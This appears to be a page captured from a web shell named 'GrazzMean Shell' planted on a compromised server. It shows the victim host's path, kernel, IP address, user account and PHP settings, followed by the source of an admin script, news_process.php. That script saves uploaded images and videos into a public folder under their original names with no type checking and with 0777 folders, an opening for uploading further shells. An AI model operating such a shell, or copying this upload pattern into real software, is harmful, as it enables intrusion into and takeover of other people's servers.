shell bypass 403

GrazzMean Shell

: /var/www/vhosts/m-auto.co/httpdocs/admin/ [ drwxr-xr-x ]
Uname: Linux serv.m-auto.co 3.10.0-1160.42.2.el7.x86_64 #1 SMP Tue Sep 7 14:49:57 UTC 2021 x86_64
Software: nginx/1.28.2
PHP version: 8.1.34 [ PHP INFO ] PHP os: Linux
Server Ip: 41.215.243.19
Your Ip: 216.73.216.151
User: m-auto.co_vxasg6smqe (10000) | Group: psacln (1003)
Safe Mode: OFF
Disable Function:
opcache_get_status,mail

name : news_process.php
<?php
include 'auth.php';
include '../includes/db.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $id = $_POST['id'] ?? null;
    $title = $_POST['title'];
    $content = $_POST['content'];

    // Image handling
    $image = null;
    if (isset($_FILES['image']) && $_FILES['image']['error'] == 0) {
        $target_dir = "../uploads/news/";
        if (!is_dir($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        $image = uniqid() . '-' . basename($_FILES['image']['name']);
        $target_file = $target_dir . $image;
        move_uploaded_file($_FILES['image']['tmp_name'], $target_file);
    }

    // Video handling
    $video_type = $_POST['video_type'] ?? 'none';
    $video_url = $_POST['video_url'] ?? '';
    $video_file = $_POST['current_video_file'] ?? null;

    if ($video_type === 'file' && isset($_FILES['video_file']) && $_FILES['video_file']['error'] == 0) {
        $target_dir = "../uploads/news/";
        if (!is_dir($target_dir)) {
            mkdir($target_dir, 0777, true);
        }
        $video_file = uniqid() . '-' . basename($_FILES['video_file']['name']);
        $target_file = $target_dir . $video_file;
        move_uploaded_file($_FILES['video_file']['tmp_name'], $target_file);
    }

    // Clean up fields based on selected video type
    if ($video_type === 'none') {
        $video_url = null;
        $video_file = null;
    } elseif ($video_type === 'url') {
        $video_file = null;
    } elseif ($video_type === 'file') {
        $video_url = null;
    }

    if ($id) {
        // Update existing article
        if ($image) {
            $stmt = $conn->prepare("UPDATE news SET title = ?, content = ?, image = ?, video_type = ?, video_url = ?, video_file = ? WHERE id = ?");
            $stmt->bind_param("ssssssi", $title, $content, $image, $video_type, $video_url, $video_file, $id);
        } else {
            $stmt = $conn->prepare("UPDATE news SET title = ?, content = ?, video_type = ?, video_url = ?, video_file = ? WHERE id = ?");
            $stmt->bind_param("sssssi", $title, $content, $video_type, $video_url, $video_file, $id);
        }
        $stmt->execute();
    } else {
        // Insert new article
        $stmt = $conn->prepare("INSERT INTO news (title, content, image, video_type, video_url, video_file) VALUES (?, ?, ?, ?, ?, ?)");
        $stmt->bind_param("ssssss", $title, $content, $image, $video_type, $video_url, $video_file);
        $stmt->execute();
    }

    header("Location: news.php");
    exit;
}
?>
© 2026 GrazzMean